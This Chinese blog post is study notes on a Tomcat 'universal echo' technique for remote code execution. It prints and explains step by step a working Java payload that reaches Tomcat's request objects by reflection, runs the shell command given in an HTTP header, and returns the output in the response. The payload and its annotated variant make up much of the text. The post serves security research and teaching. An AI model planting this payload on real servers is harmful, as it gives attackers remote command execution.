<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Tomcat通用回顯學習筆記

    VSole2021-10-28 16:52:44

    前言

    RCE回顯技術在20年突然火爆全網,這里學習跟進一下。看了很多大佬分析技術文章和實現方法可謂是百花齊放,但情有獨鐘的一種方法是來著zema1/ysoserial里面中的回顯技術。Tomcat全版本都能實現回顯,和其他大佬的方式不一樣點是直接中Thread入手。但目前沒看到對此方法的分析,這里斗膽寫下自己的一些看法,如有錯誤還請斧正。

    所以的源碼、環境都已經上傳至https://github.com/SummerSec/JavaLearnVulnerability

    回顯代碼賞析

    先貼出代碼,大致上分析一下代碼。代碼來著https://github.com/feihong-cs/Java-Rce-Echo,代碼本質上是和zema1/ysoserial的一樣,只是換個方法。不難看出代碼用了大量的反射,異常處理面對不同版本Tomcat可能出現的情況,與if語句不同,異常處理更加直接點,直接嘗試兩種方法面對不同情況。

      boolean flag = false;    ThreadGroup group = Thread.currentThread().getThreadGroup();    java.lang.reflect.Field f = group.getClass().getDeclaredField("threads");    f.setAccessible(true);    Thread[] threads = (Thread[]) f.get(group);    for(int i = 0; i < threads.length; i++) {        try{            Thread t = threads[i];            if (t == null) continue;            String str = t.getName();            if (str.contains("exec") || !str.contains("http")) continue;            f = t.getClass().getDeclaredField("target");            f.setAccessible(true);            Object obj = f.get(t);            if (!(obj instanceof Runnable)) continue;            f = obj.getClass().getDeclaredField("this$0");            f.setAccessible(true);            obj = f.get(obj);            try{                f = obj.getClass().getDeclaredField("handler");            }catch (NoSuchFieldException e){                f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");            }            f.setAccessible(true);            obj = f.get(obj);            try{                f = obj.getClass().getSuperclass().getDeclaredField("global");            }catch(NoSuchFieldException e){                f = obj.getClass().getDeclaredField("global");            }            f.setAccessible(true);            obj = f.get(obj);            f = obj.getClass().getDeclaredField("processors");            f.setAccessible(true);            java.util.List processors = (java.util.List)(f.get(obj));            for(int j = 0; j < processors.size(); ++j) {                Object processor = processors.get(j);                f = processor.getClass().getDeclaredField("req");                f.setAccessible(true);                Object req = f.get(processor);                Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req, new Object[0]);                str = (String)req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"cmd"});                if (str != null && !str.isEmpty()) {                    resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});                    String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/sh", "-c", str};                    byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next().getBytes();                    try {                        Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk");                        obj = cls.newInstance();                        cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, new Object[]{result, new Integer(0), new Integer(result.length)});                        resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});                    } catch (NoSuchMethodException var5) {                        Class cls = Class.forName("java.nio.ByteBuffer");                        obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{result});                        resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});                    }                    flag = true;                }                if (flag) break;            }            if (flag)  break;        }catch(Exception e){            continue;        }    }
    

    Thread

    1.每個Java應用程序都有一個執行Main()函數的默認主線程。這個就是主線程

    2.應用程序也可以創建線程在后臺運行。Java主要是通過Java.Lang.Thread類以及Java.lang.Runnable接口來實現線程機制的。這邊所有的都是其余線程

    在Java的反射中,get方法是可以獲取該字段對應的對象,但有一定的條件。ps:在文末補充知識點補充

        // 獲取當前線程組        ThreadGroup group = Thread.currentThread().getThreadGroup();        // 反射獲取字段threads        java.lang.reflect.Field f = group.getClass().getDeclaredField("threads");        f.setAccessible(true);        // f.get(group) 獲取 threads 線程中數組對象        Thread[] threads = (Thread[]) f.get(group);
    

    開啟一個spring boot 服務,debug看一下流程。

    對流程處理分析,這里引用lucifaer師傅的一張圖。

    線程處理

    獲取線程名字,跳過不需要的線程。

    String str = t.getName();//http-nio-8090-BlockPoller continue  NoSuchField異常 i=3if (str.contains("exec") || !str.contains("http")) {    continue;}
    

    如何確定那些線程是需要的呢?

    (1)http-nio-8080-Acceptor為請求接收器,其只接收請求,不會對請求做任務業務處理操作,所以默認為單個線程。

    (2)http-nio-8080-ClientPoller-0和http-nio-8080-ClientPoller-1為兩個是作為輪詢器或者轉發器使用的,簡單來說就是對獲取到的SocketWrapper添加到一個線程池中進行處理,這種類型的線程數與CPU的核數有關。

    (3)http-nio-8080-exec-1到10是tomcat的一個線程池產生的默認的10線程,這10個線程是用來執行具體的servlet請求操作,線程的數目可以跟隨請求說的變化而變化。

    以上3種類型的線程有點類似Reactor模式。Tomcat通過Connector中的Acceptor綁定8080端口并接收請求,然后通過Poller,Worker轉交給Http11Processor解析出請求。ps: 8080均是指定端口

    結合上面兩張圖和lucifaer大佬在文章Tomcat通用回顯學習中所提交Processor對象,確定所需要的線程是http-nio-xxxx-ClientPoller。

    利用IDEA功能導出線程棧部分數據如下,數據太多完整版上傳GitHub中。不難分析這里出現了Poller對象,有Poller就會有Processor對象。

    "http-nio-8090-ClientPoller@5462" daemon prio=5 tid=0x2d nid=NA runnable  java.lang.Thread.State: RUNNABLE      at sun.nio.ch.WindowsSelectorImpl$SubSelector.poll0(WindowsSelectorImpl.java:-1)      at sun.nio.ch.WindowsSelectorImpl$SubSelector.poll(WindowsSelectorImpl.java:296)      at sun.nio.ch.WindowsSelectorImpl$SubSelector.access$400(WindowsSelectorImpl.java:278)      at sun.nio.ch.WindowsSelectorImpl.doSelect(WindowsSelectorImpl.java:159)      at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)      - locked <0x1682> (a sun.nio.ch.WindowsSelectorImpl)      - locked <0x168a> (a java.util.Collections$UnmodifiableSet)      - locked <0x168b> (a sun.nio.ch.Util$2)      at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)      at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:816)      at java.lang.Thread.run(Thread.java:745)
    

    獲取Processor對象

    1.進入線程ClientPoller之后,T基本類型變成了java.lang.Thread。反射獲取其中target字段,該字段的類型是Runnable。

    //str = http-nio-8090-ClientPoller 進入下面 ps: i=14// java.lang.Threadf = t.getClass().getDeclaredField("target");f.setAccessible(true);// obj ->  NioEndpoint$Poller實例化對象Object obj = f.get(t);// NioEndpoint$Poller  implements Runnableif (!(obj instanceof Runnable)) {continue;}
    

    2.NioEndpoint$Poller是實現了Runnable接口

    3.這里是一個匿名內部類(NioEndpoint$Poller)獲取持有的外部類對象(NioEndpoint)的操作,參考補充小知識this$0。

    // this$0 是NioEndpoint對象f = obj.getClass().getDeclaredField("this$0");f.setAccessible(true);
    

    4.獲取到NioEndpoint對象之后,向上獲取Handler對象。NioEndpoint extends AbstractJsseEndpoint然而在AbstractJsseEndpoint中是沒有Handler字段對象的, 但在其extends AbstractEndpoint中是存在AbstractEndpoint$Handler字段。

    // f.get(obj) --> org.apche.tomcat.util.net.NioEndpoint 對象obj = f.get(obj);// NioEndpoint extends AbstractJsseEndpoint --> extends AbstractEndpoint$Handler//  AbstractEndpoint$Handler 是一個接口,在org.apche.coyote.AbstractProtocol$ConnectionsHanhler實現try {f = obj.getClass().getDeclaredField("handler");} catch (NoSuchFieldException e) {f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");}// obj -->  org.apche.coyote.AbstractProtocol$ConnectionsHanhlerf.setAccessible(true);obj = f.get(obj);
    

    5.在AbstractEndpoint$Handler是一個接口,其實現類AbstractProtocol$ConnectionsHanhler是所需要的Handler。ConnectionsHanhler中是包含global字段。

    // obj --> org.apche.coyote.AbstractProtocol$ConnectionsHanhlertry {f = obj.getClass().getSuperclass().getDeclaredField("global");} catch (NoSuchFieldException e) {// obj --> AbstractProtocol$ConnectionsHanhlerf = obj.getClass().getDeclaredField("global");}
    

    6.獲取到RequestGroupInfo對象,在RequestGroupInfo之中有包含Processor對象list。

    // obj --> org.apche.coyote.RequestGroupInfof.setAccessible(true);obj = f.get(obj);f = obj.getClass().getDeclaredField("processors");f.setAccessible(true);// processors --> Listjava.util.List processors = (java.util.List) (f.get(obj));
    

    7.獲取到Processor對象之后,接著獲取Request和Response,在然后就是一段讀寫操作。

          // processors.size() == 1                for (int j = 0; j < processors.size(); ++j) {                    Object processor = processors.get(j);                    f = processor.getClass().getDeclaredField("req");                    f.setAccessible(true);                    // org.apche.coyote.Request                    Object req = f.get(processor);                    // org.apche.coyote.Response                    Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req, new Object[0]);                    // header cc: "cmd"                    str = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"CC"});                    if (str != null && !str.isEmpty()) {                        resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});                        String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/sh", "-c", str};                        String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";                        byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream(),charsetName)).useDelimiter("\\A").next().getBytes(charsetName);                        try {                            Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk");                            obj = cls.newInstance();                            cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, new Object[]{result, new Integer(0), new Integer(result.length)});                            resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});                        } catch (NoSuchMethodException var5) {                            Class cls = Class.forName("java.nio.ByteBuffer");                            obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{result});                            resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});                        }                        flag = true;                    }
    

    總結

    本篇文章從Thread角度出發,分析如何一步步獲取Processor對象,再到RequestGruopInfo對象,最后獲取Response并寫入回顯結果。本文并沒有過多分析為什么要獲取這些對象,這些內容在其他大佬的文章均有寫到。這里推薦我看的時間最久文章Tomcat通用回顯。



    補充小知識

    Field.get()

    返回這個字段在指定對象上所代表的字段的值。如果該值有一個原始類型,它將被自動包裝在一個對象中。
    底層字段的值是按如下方式獲得的。
    如果底層字段是一個靜態字段,obj參數被忽略;它可能是空的。
    否則,底層字段是一個實例字段。如果指定的obj參數為空,該方法會拋出一個NullPointerException。如果指定的對象不是聲明底層字段的類或接口的實例,該方法會拋出一個IllegalArgumentException。
    如果這個字段對象正在執行Java語言的訪問控制,并且底層字段是不可訪問的,該方法會拋出一個IllegalAccessException。如果底層字段是靜態的,聲明該字段的類將被初始化,如果它還沒有被初始化。
    否則,該值將從底層實例或靜態字段中檢索出來。如果字段有一個原始類型,那么在返回之前,該值會被包裹在一個對象中,否則會原樣返回。
    如果字段被隱藏在obj的類型中,那么字段的值將根據前面的規則獲得。

    大致作用就是返回該字段的實例對象,如果字段不是類和接口的實例就會報錯。

    this$0

    this$0是指獲取匿名內部類持有的外部類對象,大致意思如下,ThirdInner的外部this$0類對象是Outer。更多內容可以參考獲取Java匿名內部類持有的外部類對象。

    public class Outer {//this$0
        public class FirstInner {//this$1
            public class SecondInner {//this$2
                public class ThirdInner {            }        }    }}
    

    參考

    https://zhuanlan.zhihu.com/p/85448047

    https://blog.csdn.net/qq924862077/article/details/79617621

    https://lucifaer.com/2020/05/12/Tomcat通用回顯學習/

    https://lgtm.com/query/1252408723639078309/


    stringhandler
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Java RMI 利用入門學習
    2021-09-19 14:04:35
    Windows中遇到了Java RMI,反彈又不那么方便,這時該如何利用呢?It’s a question。正好加強Java學習了。
    大廠基本為了程序的安全,會使用大量內聯SVC去調用系統函數,以此來保護程序的安全。如何實現SVC指令的IO重定向,成為最大的問題。內核態是當Linux需要處理文件,或者進行中斷IO等操作的時候就會進入內核態。當arm系列cpu發現svc指令的時候,就會陷入中斷,簡稱0x80中斷。
    對于管理系統或其他需要用戶登錄的系統,登錄驗證都是必不可少的環節,在 SpringBoot 開發的項目中,通過實現攔截器來實現用戶登錄攔截并驗證。 1、SpringBoot 實現登錄攔截的原理 SpringBoot 通過實現HandlerInterceptor接口實現攔截器,通過實現WebMvcConfigurer接口實現一個配置類,在配置類中注入攔截器,最后再通過 @Configuration
    分享每周看到的有意思的威脅狩獵相關的文章,本人僅做翻譯
    EasyJaba 這個題目是隴原戰”疫”2021網絡安全大賽的一道題,最近正好在學習java反序列化和內存馬的相關知識,通過這個題目可以很好的進行實踐。 反序列化
    Web 前端與后臺的通信短輪詢:通過不斷發送 http 請求達到即時通信的目的長輪詢:訪問無資源并不會立刻返回,保持較長時間的通訊,直到獲得數據或超時返回。
    fastjson反序列化已經是近幾年繼Struts2漏洞后,最受安全人員歡迎而開發人員抱怨的一個漏洞了。
    在重要的生產網中,目標服務器無法外聯,而遇到Apache Flink情況下如何寫內存馬,本文對這一有趣實踐過程做了一個記錄。但很可惜,筆者找了一圈,沒有發現相關的靜態變量,無法獲取到該路由對象。本文主要圍繞如何使用該方法實現 flink 內充馬進行講述。的限制,我們的 agent 需要先落地到系統中,而執行 loadAgent 這一操作的程序我們被稱為 starter。
    JDK7u21的核心點是我們在cc1中也出現過的AnnotationInvocationHandler,在cc1中我們用到了他會觸發this.memberValues.get(var4);這個點,而在JDK7u21中利用到了他里面的equalsImpl。先來看一下equalsImpl。
    關于java的反序列化只是大概知道是因為readObject方法,導致的但是怎么個過程導致的rce,還是很迷糊的。 但是直接從CC鏈來學習的話,對新手實在不太友好。所以,今天從ysoserial.jar中最簡單的URLDNSgadget來學習一下反序列化的流程。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类